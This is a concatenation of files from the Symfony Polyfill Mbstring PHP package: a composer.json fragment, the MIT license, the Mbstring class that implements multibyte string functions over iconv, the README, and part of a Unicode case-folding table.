"files": [ "bootstrap.php" ], "classmap": [ "Resources/stubs" ] }, "suggest": { "ext-intl": "For best performance" }, "minimum-stability": "dev", "extra": { "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } } } Copyright (c) 2015-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Mbstring; /** * Partial mbstring implementation in PHP, iconv based, UTF-8 centric. * * Implemented: * - mb_chr - Returns a specific character from its Unicode code point * - mb_convert_encoding - Convert character encoding * - mb_convert_variables - Convert character code in variable(s) * - mb_decode_mimeheader - Decode string in MIME header field * - mb_encode_mimeheader - Encode string for MIME header XXX NATIVE IMPLEMENTATION IS REALLY BUGGED * - mb_decode_numericentity - Decode HTML numeric string reference to character * - mb_encode_numericentity - Encode character to HTML numeric string reference * - mb_convert_case - Perform case folding on a string * - mb_detect_encoding - Detect character encoding * - mb_get_info - Get internal settings of mbstring * - mb_http_input - Detect HTTP input character encoding * - mb_http_output - Set/Get HTTP output character encoding * - mb_internal_encoding - Set/Get internal character encoding * - mb_list_encodings - Returns an array of all supported encodings * - mb_ord - Returns the Unicode code point of a character * - mb_output_handler - Callback function converts character encoding in output buffer * - mb_scrub - Replaces ill-formed byte sequences with substitute characters * - mb_strlen - Get string length * - mb_strpos - Find position of first occurrence of string in a string * - mb_strrpos - Find position of last occurrence of a string in a string * - mb_str_split - Convert a string to an array * - mb_strtolower - Make a string lowercase * - mb_strtoupper - Make a string uppercase * - mb_substitute_character - Set/Get substitution character * - mb_substr - Get part of string * - mb_stripos - Finds position of first occurrence of a string within another, case insensitive * - mb_stristr - Finds first occurrence of a string within another, case insensitive * - mb_strrchr - Finds the last occurrence of a character in a string within another * - mb_strrichr - Finds the last occurrence of a character in a string within another, case insensitive * - mb_strripos - Finds position of last occurrence of a string within another, case insensitive * - mb_strstr - Finds first occurrence of a string within another * - mb_strwidth - Return width of string * - mb_substr_count - Count the number of substring occurrences * - mb_ucfirst - Make a string's first character uppercase * - mb_lcfirst - Make a string's first character lowercase * - mb_trim - Strip whitespace (or other characters) from the beginning and end of a string * - mb_ltrim - Strip whitespace (or other characters) from the beginning of a string * - mb_rtrim - Strip whitespace (or other characters) from the end of a string * * Not implemented: * - mb_convert_kana - Convert "kana" one from another ("zen-kaku", "han-kaku" and more) * - mb_ereg_* - Regular expression with multibyte support * - mb_parse_str - Parse GET/POST/COOKIE data and set global variable * - mb_preferred_mime_name - Get MIME charset string * - mb_regex_encoding - Returns current encoding for multibyte regex as string * - mb_regex_set_options - Set/Get the default options for mbregex functions * - mb_send_mail - Send encoded mail * - mb_split - Split multibyte string using regular expression * - mb_strcut - Get part of string * - mb_strimwidth - Get truncated string with specified width * * @author Nicolas Grekas * * @internal */ final class Mbstring { public const MB_CASE_FOLD = \PHP_INT_MAX; private const SIMPLE_CASE_FOLD = [ ['µ', 'ſ', "\xCD\x85", 'ς', "\xCF\x90", "\xCF\x91", "\xCF\x95", "\xCF\x96", "\xCF\xB0", "\xCF\xB1", "\xCF\xB5", "\xE1\xBA\x9B", "\xE1\xBE\xBE"], ['μ', 's', 'ι', 'σ', 'β', 'θ', 'φ', 'π', 'κ', 'ρ', 'ε', "\xE1\xB9\xA1", 'ι'], ]; private static $encodingList = ['ASCII', 'UTF-8']; private static $language = 'neutral'; private static $internalEncoding = 'UTF-8'; public static function mb_convert_encoding($s, $toEncoding, $fromEncoding = null) { if (\is_array($s)) { $r = []; foreach ($s as $str) { $r[] = self::mb_convert_encoding($str, $toEncoding, $fromEncoding); } return $r; } if (\is_array($fromEncoding) || (null !== $fromEncoding && false !== strpos($fromEncoding, ','))) { $fromEncoding = self::mb_detect_encoding($s, $fromEncoding); } else { $fromEncoding = self::getEncoding($fromEncoding); } $toEncoding = self::getEncoding($toEncoding); if ('BASE64' === $fromEncoding) { $s = base64_decode($s); $fromEncoding = $toEncoding; } if ('BASE64' === $toEncoding) { return base64_encode($s); } if ('HTML-ENTITIES' === $toEncoding || 'HTML' === $toEncoding) { if ('HTML-ENTITIES' === $fromEncoding || 'HTML' === $fromEncoding) { $fromEncoding = 'Windows-1252'; } if ('UTF-8' !== $fromEncoding) { $s = iconv($fromEncoding, 'UTF-8//IGNORE', $s); } return preg_replace_callback('/[\x80-\xFF]+/', [__CLASS__, 'html_encoding_callback'], $s); } if ('HTML-ENTITIES' === $fromEncoding) { $s = html_entity_decode($s, \ENT_COMPAT, 'UTF-8'); $fromEncoding = 'UTF-8'; } return iconv($fromEncoding, $toEncoding.'//IGNORE', $s); } public static function mb_convert_variables($toEncoding, $fromEncoding, &...$vars) { $ok = true; array_walk_recursive($vars, function (&$v) use (&$ok, $toEncoding, $fromEncoding) { if (false === $v = self::mb_convert_encoding($v, $toEncoding, $fromEncoding)) { $ok = false; } }); return $ok ? $fromEncoding : false; } public static function mb_decode_mimeheader($s) { return iconv_mime_decode($s, 2, self::$internalEncoding); } public static function mb_encode_mimeheader($s, $charset = null, $transferEncoding = null, $linefeed = null, $indent = null) { trigger_error('mb_encode_mimeheader() is bugged. Please use iconv_mime_encode() instead', \E_USER_WARNING); } public static function mb_decode_numericentity($s, $convmap, $encoding = null) { if (null !== $s && !\is_scalar($s) && !(\is_object($s) && method_exists($s, '__toString'))) { trigger_error('mb_decode_numericentity() expects parameter 1 to be string, '.\gettype($s).' given', \E_USER_WARNING); return null; } if (!\is_array($convmap) || (80000 > \PHP_VERSION_ID && !$convmap)) { return false; } if (null !== $encoding && !\is_scalar($encoding)) { trigger_error('mb_decode_numericentity() expects parameter 3 to be string, '.\gettype($s).' given', \E_USER_WARNING); return ''; // Instead of null (cf. mb_encode_numericentity). } $s = (string) $s; if ('' === $s) { return ''; } $encoding = self::getEncoding($encoding); if ('UTF-8' === $encoding) { $encoding = null; if (!preg_match('//u', $s)) { $s = @iconv('UTF-8', 'UTF-8//IGNORE', $s); } } else { $s = iconv($encoding, 'UTF-8//IGNORE', $s); } $cnt = floor(\count($convmap) / 4) * 4; for ($i = 0; $i < $cnt; $i += 4) { // collector_decode_htmlnumericentity ignores $convmap[$i + 3] $convmap[$i] += $convmap[$i + 2]; $convmap[$i + 1] += $convmap[$i + 2]; } $s = preg_replace_callback('/&#(?:0*([0-9]+)|x0*([0-9a-fA-F]+))(?!&);?/', function (array $m) use ($cnt, $convmap) { $c = isset($m[2]) ? (int) hexdec($m[2]) : $m[1]; for ($i = 0; $i < $cnt; $i += 4) { if ($c >= $convmap[$i] && $c <= $convmap[$i + 1]) { return self::mb_chr($c - $convmap[$i + 2]); } } return $m[0]; }, $s); if (null === $encoding) { return $s; } return iconv('UTF-8', $encoding.'//IGNORE', $s); } public static function mb_encode_numericentity($s, $convmap, $encoding = null, $is_hex = false) { if (null !== $s && !\is_scalar($s) && !(\is_object($s) && method_exists($s, '__toString'))) { trigger_error('mb_encode_numericentity() expects parameter 1 to be string, '.\gettype($s).' given', \E_USER_WARNING); return null; } if (!\is_array($convmap) || (80000 > \PHP_VERSION_ID && !$convmap)) { return false; } if (null !== $encoding && !\is_scalar($encoding)) { trigger_error('mb_encode_numericentity() expects parameter 3 to be string, '.\gettype($s).' given', \E_USER_WARNING); return null; // Instead of '' (cf. mb_decode_numericentity). } if (null !== $is_hex && !\is_scalar($is_hex)) { trigger_error('mb_encode_numericentity() expects parameter 4 to be boolean, '.\gettype($s).' given', \E_USER_WARNING); return null; } $s = (string) $s; if ('' === $s) { return ''; } $encoding = self::getEncoding($encoding); if ('UTF-8' === $encoding) { $encoding = null; if (!preg_match('//u', $s)) { $s = @iconv('UTF-8', 'UTF-8//IGNORE', $s); } } else { $s = iconv($encoding, 'UTF-8//IGNORE', $s); } static $ulenMask = ["\xC0" => 2, "\xD0" => 2, "\xE0" => 3, "\xF0" => 4]; $cnt = floor(\count($convmap) / 4) * 4; $i = 0; $len = \strlen($s); $result = ''; while ($i < $len) { $ulen = $s[$i] < "\x80" ? 1 : $ulenMask[$s[$i] & "\xF0"]; $uchr = substr($s, $i, $ulen); $i += $ulen; $c = self::mb_ord($uchr); for ($j = 0; $j < $cnt; $j += 4) { if ($c >= $convmap[$j] && $c <= $convmap[$j + 1]) { $cOffset = ($c + $convmap[$j + 2]) & $convmap[$j + 3]; $result .= $is_hex ? sprintf('&#x%X;', $cOffset) : '&#'.$cOffset.';'; continue 2; } } $result .= $uchr; } if (null === $encoding) { return $result; } return iconv('UTF-8', $encoding.'//IGNORE', $result); } public static function mb_convert_case($s, $mode, $encoding = null) { $s = (string) $s; if ('' === $s) { return ''; } $encoding = self::getEncoding($encoding); if ('UTF-8' === $encoding) { $encoding = null; if (!preg_match('//u', $s)) { $s = @iconv('UTF-8', 'UTF-8//IGNORE', $s); } } else { $s = iconv($encoding, 'UTF-8//IGNORE', $s); } if (\MB_CASE_TITLE == $mode) { static $titleRegexp = null; if (null === $titleRegexp) { $titleRegexp = self::getData('titleCaseRegexp'); } $s = preg_replace_callback($titleRegexp, [__CLASS__, 'title_case'], $s); } else { if (\MB_CASE_UPPER == $mode) { static $upper = null; if (null === $upper) { $upper = self::getData('upperCase'); } $map = $upper; } else { if (self::MB_CASE_FOLD === $mode) { static $caseFolding = null; if (null === $caseFolding) { $caseFolding = self::getData('caseFolding'); } $s = strtr($s, $caseFolding); } static $lower = null; if (null === $lower) { $lower = self::getData('lowerCase'); } $map = $lower; } static $ulenMask = ["\xC0" => 2, "\xD0" => 2, "\xE0" => 3, "\xF0" => 4]; $i = 0; $len = \strlen($s); while ($i < $len) { $ulen = $s[$i] < "\x80" ? 1 : $ulenMask[$s[$i] & "\xF0"]; $uchr = substr($s, $i, $ulen); $i += $ulen; if (isset($map[$uchr])) { $uchr = $map[$uchr]; $nlen = \strlen($uchr); if ($nlen == $ulen) { $nlen = $i; do { $s[--$nlen] = $uchr[--$ulen]; } while ($ulen); } else { $s = substr_replace($s, $uchr, $i - $ulen, $ulen); $len += $nlen - $ulen; $i += $nlen - $ulen; } } } } if (null === $encoding) { return $s; } return iconv('UTF-8', $encoding.'//IGNORE', $s); } public static function mb_internal_encoding($encoding = null) { if (null === $encoding) { return self::$internalEncoding; } $normalizedEncoding = self::getEncoding($encoding); if ('UTF-8' === $normalizedEncoding || false !== @iconv($normalizedEncoding, $normalizedEncoding, ' ')) { self::$internalEncoding = $normalizedEncoding; return true; } if (80000 > \PHP_VERSION_ID) { return false; } throw new \ValueError(sprintf('Argument #1 ($encoding) must be a valid encoding, "%s" given', $encoding)); } public static function mb_language($lang = null) { if (null === $lang) { return self::$language; } switch ($normalizedLang = strtolower($lang)) { case 'uni': case 'neutral': self::$language = $normalizedLang; return true; } if (80000 > \PHP_VERSION_ID) { return false; } throw new \ValueError(sprintf('Argument #1 ($language) must be a valid language, "%s" given', $lang)); } public static function mb_list_encodings() { return ['UTF-8']; } public static function mb_encoding_aliases($encoding) { switch (strtoupper($encoding)) { case 'UTF8': case 'UTF-8': return ['utf8']; } return false; } public static function mb_check_encoding($var = null, $encoding = null) { if (null === $encoding) { if (null === $var) { return false; } $encoding = self::$internalEncoding; } if (!\is_array($var)) { return self::mb_detect_encoding($var, [$encoding]) || false !== @iconv($encoding, $encoding, $var); } foreach ($var as $key => $value) { if (!self::mb_check_encoding($key, $encoding)) { return false; } if (!self::mb_check_encoding($value, $encoding)) { return false; } } return true; } public static function mb_detect_encoding($str, $encodingList = null, $strict = false) { if (null === $encodingList) { $encodingList = self::$encodingList; } else { if (!\is_array($encodingList)) { $encodingList = array_map('trim', explode(',', $encodingList)); } $encodingList = array_map('strtoupper', $encodingList); } foreach ($encodingList as $enc) { switch ($enc) { case 'ASCII': if (!preg_match('/[\x80-\xFF]/', $str)) { return $enc; } break; case 'UTF8': case 'UTF-8': if (preg_match('//u', $str)) { return 'UTF-8'; } break; default: if (0 === strncmp($enc, 'ISO-8859-', 9)) { return $enc; } } } return false; } public static function mb_detect_order($encodingList = null) { if (null === $encodingList) { return self::$encodingList; } if (!\is_array($encodingList)) { $encodingList = array_map('trim', explode(',', $encodingList)); } $encodingList = array_map('strtoupper', $encodingList); foreach ($encodingList as $enc) { switch ($enc) { default: if (strncmp($enc, 'ISO-8859-', 9)) { return false; } // no break case 'ASCII': case 'UTF8': case 'UTF-8': } } self::$encodingList = $encodingList; return true; } public static function mb_strlen($s, $encoding = null) { $encoding = self::getEncoding($encoding); if ('CP850' === $encoding || 'ASCII' === $encoding) { return \strlen($s); } return @iconv_strlen($s, $encoding); } public static function mb_strpos($haystack, $needle, $offset = 0, $encoding = null) { $encoding = self::getEncoding($encoding); if ('CP850' === $encoding || 'ASCII' === $encoding) { return strpos($haystack, $needle, $offset); } $needle = (string) $needle; if ('' === $needle) { if (80000 > \PHP_VERSION_ID) { trigger_error(__METHOD__.': Empty delimiter', \E_USER_WARNING); return false; } return 0; } return iconv_strpos($haystack, $needle, $offset, $encoding); } public static function mb_strrpos($haystack, $needle, $offset = 0, $encoding = null) { $encoding = self::getEncoding($encoding); if ('CP850' === $encoding || 'ASCII' === $encoding) { return strrpos($haystack, $needle, $offset); } if ($offset != (int) $offset) { $offset = 0; } elseif ($offset = (int) $offset) { if ($offset < 0) { if (0 > $offset += self::mb_strlen($needle)) { $haystack = self::mb_substr($haystack, 0, $offset, $encoding); } $offset = 0; } else { $haystack = self::mb_substr($haystack, $offset, 2147483647, $encoding); } } $pos = '' !== $needle || 80000 > \PHP_VERSION_ID ? iconv_strrpos($haystack, $needle, $encoding) : self::mb_strlen($haystack, $encoding); return false !== $pos ? $offset + $pos : false; } public static function mb_str_split($string, $split_length = 1, $encoding = null) { if (null !== $string && !\is_scalar($string) && !(\is_object($string) && method_exists($string, '__toString'))) { trigger_error('mb_str_split() expects parameter 1 to be string, '.\gettype($string).' given', \E_USER_WARNING); return null; } if (1 > $split_length = (int) $split_length) { if (80000 > \PHP_VERSION_ID) { trigger_error('The length of each segment must be greater than zero', \E_USER_WARNING); return false; } throw new \ValueError('Argument #2 ($length) must be greater than 0'); } if (null === $encoding) { $encoding = mb_internal_encoding(); } if ('UTF-8' === $encoding = self::getEncoding($encoding)) { $rx = '/('; while (65535 < $split_length) { $rx .= '.{65535}'; $split_length -= 65535; } $rx .= '.{'.$split_length.'})/us'; return preg_split($rx, $string, -1, \PREG_SPLIT_DELIM_CAPTURE | \PREG_SPLIT_NO_EMPTY); } $result = []; $length = mb_strlen($string, $encoding); for ($i = 0; $i < $length; $i += $split_length) { $result[] = mb_substr($string, $i, $split_length, $encoding); } return $result; } public static function mb_strtolower($s, $encoding = null) { return self::mb_convert_case($s, \MB_CASE_LOWER, $encoding); } public static function mb_strtoupper($s, $encoding = null) { return self::mb_convert_case($s, \MB_CASE_UPPER, $encoding); } public static function mb_substitute_character($c = null) { if (null === $c) { return 'none'; } if (0 === strcasecmp($c, 'none')) { return true; } if (80000 > \PHP_VERSION_ID) { return false; } if (\is_int($c) || 'long' === $c || 'entity' === $c) { return false; } throw new \ValueError('Argument #1 ($substitute_character) must be "none", "long", "entity" or a valid codepoint'); } public static function mb_substr($s, $start, $length = null, $encoding = null) { $encoding = self::getEncoding($encoding); if ('CP850' === $encoding || 'ASCII' === $encoding) { return (string) substr($s, $start, null === $length ? 2147483647 : $length); } if ($start < 0) { $start = iconv_strlen($s, $encoding) + $start; if ($start < 0) { $start = 0; } } if (null === $length) { $length = 2147483647; } elseif ($length < 0) { $length = iconv_strlen($s, $encoding) + $length - $start; if ($length < 0) { return ''; } } return (string) iconv_substr($s, $start, $length, $encoding); } public static function mb_stripos($haystack, $needle, $offset = 0, $encoding = null) { [$haystack, $needle] = str_replace(self::SIMPLE_CASE_FOLD[0], self::SIMPLE_CASE_FOLD[1], [ self::mb_convert_case($haystack, \MB_CASE_LOWER, $encoding), self::mb_convert_case($needle, \MB_CASE_LOWER, $encoding), ]); return self::mb_strpos($haystack, $needle, $offset, $encoding); } public static function mb_stristr($haystack, $needle, $part = false, $encoding = null) { $pos = self::mb_stripos($haystack, $needle, 0, $encoding); return self::getSubpart($pos, $part, $haystack, $encoding); } public static function mb_strrchr($haystack, $needle, $part = false, $encoding = null) { $encoding = self::getEncoding($encoding); if ('CP850' === $encoding || 'ASCII' === $encoding) { $pos = strrpos($haystack, $needle); } else { $needle = self::mb_substr($needle, 0, 1, $encoding); $pos = iconv_strrpos($haystack, $needle, $encoding); } return self::getSubpart($pos, $part, $haystack, $encoding); } public static function mb_strrichr($haystack, $needle, $part = false, $encoding = null) { $needle = self::mb_substr($needle, 0, 1, $encoding); $pos = self::mb_strripos($haystack, $needle, $encoding); return self::getSubpart($pos, $part, $haystack, $encoding); } public static function mb_strripos($haystack, $needle, $offset = 0, $encoding = null) { $haystack = self::mb_convert_case($haystack, \MB_CASE_LOWER, $encoding); $needle = self::mb_convert_case($needle, \MB_CASE_LOWER, $encoding); $haystack = str_replace(self::SIMPLE_CASE_FOLD[0], self::SIMPLE_CASE_FOLD[1], $haystack); $needle = str_replace(self::SIMPLE_CASE_FOLD[0], self::SIMPLE_CASE_FOLD[1], $needle); return self::mb_strrpos($haystack, $needle, $offset, $encoding); } public static function mb_strstr($haystack, $needle, $part = false, $encoding = null) { $pos = strpos($haystack, $needle); if (false === $pos) { return false; } if ($part) { return substr($haystack, 0, $pos); } return substr($haystack, $pos); } public static function mb_get_info($type = 'all') { $info = [ 'internal_encoding' => self::$internalEncoding, 'http_output' => 'pass', 'http_output_conv_mimetypes' => '^(text/|application/xhtml\+xml)', 'func_overload' => 0, 'func_overload_list' => 'no overload', 'mail_charset' => 'UTF-8', 'mail_header_encoding' => 'BASE64', 'mail_body_encoding' => 'BASE64', 'illegal_chars' => 0, 'encoding_translation' => 'Off', 'language' => self::$language, 'detect_order' => self::$encodingList, 'substitute_character' => 'none', 'strict_detection' => 'Off', ]; if ('all' === $type) { return $info; } if (isset($info[$type])) { return $info[$type]; } return false; } public static function mb_http_input($type = '') { return false; } public static function mb_http_output($encoding = null) { return null !== $encoding ? 'pass' === $encoding : 'pass'; } public static function mb_strwidth($s, $encoding = null) { $encoding = self::getEncoding($encoding); if ('UTF-8' !== $encoding) { $s = iconv($encoding, 'UTF-8//IGNORE', $s); } $s = preg_replace('/[\x{1100}-\x{115F}\x{2329}\x{232A}\x{2E80}-\x{303E}\x{3040}-\x{A4CF}\x{AC00}-\x{D7A3}\x{F900}-\x{FAFF}\x{FE10}-\x{FE19}\x{FE30}-\x{FE6F}\x{FF00}-\x{FF60}\x{FFE0}-\x{FFE6}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}]/u', '', $s, -1, $wide); return ($wide << 1) + iconv_strlen($s, 'UTF-8'); } public static function mb_substr_count($haystack, $needle, $encoding = null) { return substr_count($haystack, $needle); } public static function mb_output_handler($contents, $status) { return $contents; } public static function mb_chr($code, $encoding = null) { if (0x80 > $code %= 0x200000) { $s = \chr($code); } elseif (0x800 > $code) { $s = \chr(0xC0 | $code >> 6).\chr(0x80 | $code & 0x3F); } elseif (0x10000 > $code) { $s = \chr(0xE0 | $code >> 12).\chr(0x80 | $code >> 6 & 0x3F).\chr(0x80 | $code & 0x3F); } else { $s = \chr(0xF0 | $code >> 18).\chr(0x80 | $code >> 12 & 0x3F).\chr(0x80 | $code >> 6 & 0x3F).\chr(0x80 | $code & 0x3F); } if ('UTF-8' !== $encoding = self::getEncoding($encoding)) { $s = mb_convert_encoding($s, $encoding, 'UTF-8'); } return $s; } public static function mb_ord($s, $encoding = null) { if ('UTF-8' !== $encoding = self::getEncoding($encoding)) { $s = mb_convert_encoding($s, 'UTF-8', $encoding); } if (1 === \strlen($s)) { return \ord($s); } $code = ($s = unpack('C*', substr($s, 0, 4))) ? $s[1] : 0; if (0xF0 <= $code) { return (($code - 0xF0) << 18) + (($s[2] - 0x80) << 12) + (($s[3] - 0x80) << 6) + $s[4] - 0x80; } if (0xE0 <= $code) { return (($code - 0xE0) << 12) + (($s[2] - 0x80) << 6) + $s[3] - 0x80; } if (0xC0 <= $code) { return (($code - 0xC0) << 6) + $s[2] - 0x80; } return $code; } public static function mb_str_pad(string $string, int $length, string $pad_string = ' ', int $pad_type = \STR_PAD_RIGHT, ?string $encoding = null): string { if (!\in_array($pad_type, [\STR_PAD_RIGHT, \STR_PAD_LEFT, \STR_PAD_BOTH], true)) { throw new \ValueError('mb_str_pad(): Argument #4 ($pad_type) must be STR_PAD_LEFT, STR_PAD_RIGHT, or STR_PAD_BOTH'); } if (null === $encoding) { $encoding = self::mb_internal_encoding(); } else { self::assertEncoding($encoding, 'mb_str_pad(): Argument #5 ($encoding) must be a valid encoding, "%s" given'); } if (self::mb_strlen($pad_string, $encoding) <= 0) { throw new \ValueError('mb_str_pad(): Argument #3 ($pad_string) must be a non-empty string'); } $paddingRequired = $length - self::mb_strlen($string, $encoding); if ($paddingRequired < 1) { return $string; } switch ($pad_type) { case \STR_PAD_LEFT: return self::mb_substr(str_repeat($pad_string, $paddingRequired), 0, $paddingRequired, $encoding).$string; case \STR_PAD_RIGHT: return $string.self::mb_substr(str_repeat($pad_string, $paddingRequired), 0, $paddingRequired, $encoding); default: $leftPaddingLength = floor($paddingRequired / 2); $rightPaddingLength = $paddingRequired - $leftPaddingLength; return self::mb_substr(str_repeat($pad_string, $leftPaddingLength), 0, $leftPaddingLength, $encoding).$string.self::mb_substr(str_repeat($pad_string, $rightPaddingLength), 0, $rightPaddingLength, $encoding); } } public static function mb_ucfirst(string $string, ?string $encoding = null): string { if (null === $encoding) { $encoding = self::mb_internal_encoding(); } else { self::assertEncoding($encoding, 'mb_ucfirst(): Argument #2 ($encoding) must be a valid encoding, "%s" given'); } $firstChar = mb_substr($string, 0, 1, $encoding); $firstChar = mb_convert_case($firstChar, \MB_CASE_TITLE, $encoding); return $firstChar.mb_substr($string, 1, null, $encoding); } public static function mb_lcfirst(string $string, ?string $encoding = null): string { if (null === $encoding) { $encoding = self::mb_internal_encoding(); } else { self::assertEncoding($encoding, 'mb_lcfirst(): Argument #2 ($encoding) must be a valid encoding, "%s" given'); } $firstChar = mb_substr($string, 0, 1, $encoding); $firstChar = mb_convert_case($firstChar, \MB_CASE_LOWER, $encoding); return $firstChar.mb_substr($string, 1, null, $encoding); } private static function getSubpart($pos, $part, $haystack, $encoding) { if (false === $pos) { return false; } if ($part) { return self::mb_substr($haystack, 0, $pos, $encoding); } return self::mb_substr($haystack, $pos, null, $encoding); } private static function html_encoding_callback(array $m) { $i = 1; $entities = ''; $m = unpack('C*', htmlentities($m[0], \ENT_COMPAT, 'UTF-8')); while (isset($m[$i])) { if (0x80 > $m[$i]) { $entities .= \chr($m[$i++]); continue; } if (0xF0 <= $m[$i]) { $c = (($m[$i++] - 0xF0) << 18) + (($m[$i++] - 0x80) << 12) + (($m[$i++] - 0x80) << 6) + $m[$i++] - 0x80; } elseif (0xE0 <= $m[$i]) { $c = (($m[$i++] - 0xE0) << 12) + (($m[$i++] - 0x80) << 6) + $m[$i++] - 0x80; } else { $c = (($m[$i++] - 0xC0) << 6) + $m[$i++] - 0x80; } $entities .= '&#'.$c.';'; } return $entities; } private static function title_case(array $s) { return self::mb_convert_case($s[1], \MB_CASE_UPPER, 'UTF-8').self::mb_convert_case($s[2], \MB_CASE_LOWER, 'UTF-8'); } private static function getData($file) { if (file_exists($file = __DIR__.'/Resources/unidata/'.$file.'.php')) { return require $file; } return false; } private static function getEncoding($encoding) { if (null === $encoding) { return self::$internalEncoding; } if ('UTF-8' === $encoding) { return 'UTF-8'; } $encoding = strtoupper($encoding); if ('8BIT' === $encoding || 'BINARY' === $encoding) { return 'CP850'; } if ('UTF8' === $encoding) { return 'UTF-8'; } return $encoding; } public static function mb_trim(string $string, ?string $characters = null, ?string $encoding = null): string { return self::mb_internal_trim('{^[%s]+|[%1$s]+$}Du', $string, $characters, $encoding, __FUNCTION__); } public static function mb_ltrim(string $string, ?string $characters = null, ?string $encoding = null): string { return self::mb_internal_trim('{^[%s]+}Du', $string, $characters, $encoding, __FUNCTION__); } public static function mb_rtrim(string $string, ?string $characters = null, ?string $encoding = null): string { return self::mb_internal_trim('{[%s]+$}Du', $string, $characters, $encoding, __FUNCTION__); } private static function mb_internal_trim(string $regex, string $string, ?string $characters, ?string $encoding, string $function): string { if (null === $encoding) { $encoding = self::mb_internal_encoding(); } else { self::assertEncoding($encoding, $function.'(): Argument #3 ($encoding) must be a valid encoding, "%s" given'); } if ('' === $characters) { return null === $encoding ? $string : self::mb_convert_encoding($string, $encoding); } if ('UTF-8' === $encoding) { $encoding = null; if (!preg_match('//u', $string)) { $string = @iconv('UTF-8', 'UTF-8//IGNORE', $string); } if (null !== $characters && !preg_match('//u', $characters)) { $characters = @iconv('UTF-8', 'UTF-8//IGNORE', $characters); } } else { $string = iconv($encoding, 'UTF-8//IGNORE', $string); if (null !== $characters) { $characters = iconv($encoding, 'UTF-8//IGNORE', $characters); } } if (null === $characters) { $characters = "\\0 \f\n\r\t\v\u{00A0}\u{1680}\u{2000}\u{2001}\u{2002}\u{2003}\u{2004}\u{2005}\u{2006}\u{2007}\u{2008}\u{2009}\u{200A}\u{2028}\u{2029}\u{202F}\u{205F}\u{3000}\u{0085}\u{180E}"; } else { $characters = preg_quote($characters); } $string = preg_replace(sprintf($regex, $characters), '', $string); if (null === $encoding) { return $string; } return iconv('UTF-8', $encoding.'//IGNORE', $string); } private static function assertEncoding(string $encoding, string $errorFormat): void { try { $validEncoding = @self::mb_check_encoding('', $encoding); } catch (\ValueError $e) { throw new \ValueError(sprintf($errorFormat, $encoding)); } // BC for PHP 7.3 and lower if (!$validEncoding) { throw new \ValueError(sprintf($errorFormat, $encoding)); } } } Symfony Polyfill / Mbstring =========================== This component provides a partial, native PHP implementation for the [Mbstring](https://php.net/mbstring) extension. More information can be found in the [main Polyfill README](https://github.com/symfony/polyfill/blob/main/README.md). License ======= This library is released under the [MIT license](LICENSE). 'i̇', 'µ' => 'μ', 'ſ' => 's', 'ͅ' => 'ι', 'ς' => 'σ', 'ϐ' => 'β', 'ϑ' => 'θ', 'ϕ' => 'φ', 'ϖ' => 'π', 'ϰ' => 'κ', 'ϱ' => 'ρ', 'ϵ' => 'ε', 'ẛ' => 'ṡ', 'ι' => 'ι', 'ß' => 'ss', 'ʼn' => 'ʼn', 'ǰ' => 'ǰ', 'ΐ' => 'ΐ', 'ΰ' => 'ΰ', 'և' => 'եւ', 'ẖ' => 'ẖ', 'ẗ' => 'ẗ', 'ẘ' => 'ẘ', 'ẙ' => 'ẙ', 'ẚ' => 'aʾ', 'ẞ' => 'ss', 'ὐ' => 'ὐ', 'ὒ' => 'ὒ', 'ὔ' => 'ὔ', 'ὖ' => 'ὖ', 'ᾀ' => 'ἀι', 'ᾁ' => 'ἁι', 'ᾂ' => 'ἂι', 'ᾃ' => 'ἃι', 'ᾄ' => 'ἄι', 'ᾅ' => 'ἅι', 'ᾆ' => 'ἆι', 'ᾇ' => 'ἇι', 'ᾈ' => 'ἀι', 'ᾉ' => 'ἁι', 'ᾊ' => 'ἂι', 'ᾋ' => 'ἃι', 'ᾌ' => 'ἄι', 'ᾍ' => 'ἅι', 'ᾎ' => 'ἆι', 'ᾏ' => 'ἇι', 'ᾐ' => 'ἠι', 'ᾑ' => 'ἡι', 'ᾒ' => 'ἢι', 'ᾓ' => 'ἣι', 'ᾔ' => 'ἤι', 'ᾕ' => 'ἥι', 'ᾖ' => 'ἦι', 'ᾗ' => 'ἧι', 'ᾘ' => 'ἠι', 'ᾙ' => 'ἡι', 'ᾚ' => 'ἢι', 'ᾛ' => 'ἣι', 'ᾜ' => 'ἤι', 'ᾝ' => 'ἥι', 'ᾞ' => 'ἦι', 'ᾟ' => 'ἧι', 'ᾠ' => 'ὠι', 'ᾡ' => 'ὡι', 'ᾢ' => 'ὢι', 'ᾣ' => 'ὣι', 'ᾤ' => 'ὤι', 'ᾥ' => 'ὥι', 'ᾦ' => 'ὦι', 'ᾧ' => 'ὧι', 'ᾨ' => 'ὠι', 'ᾩ' => 'ὡι', 'ᾪ' => 'ὢι', 'ᾫ' => 'ὣι', 'ᾬ' => 'ὤι', 'ᾭ' => 'ὥι', 'ᾮ' => 'ὦι', 'ᾯ' => 'ὧι', 'ᾲ' => 'ὰι', 'ᾳ' => 'αι', 'ᾴ' => 'άι', 'ᾶ' => 'ᾶ', 'ᾷ' => 'ᾶι', 'ᾼ' => 'αι', 'ῂ' => 'ὴι', 'ῃ' => 'ηι', 'ῄ' => 'ήι', 'ῆ' => 'ῆ', 'ῇ' => 'ῆι', 'ῌ' => 'ηι', 'ῒ' => 'ῒ', 'ῖ' => 'ῖ', 'ῗ' => 'ῗ', 'ῢ' => 'ῢ', 'ῤ' => 'ῤ', 'ῦ' => 'ῦ', 'ῧ' => 'ῧ', 'ῲ' => 'ὼι', 'ῳ' => 'ωι', 'ῴ' => 'ώι', 'ῶ' => 'ῶ', 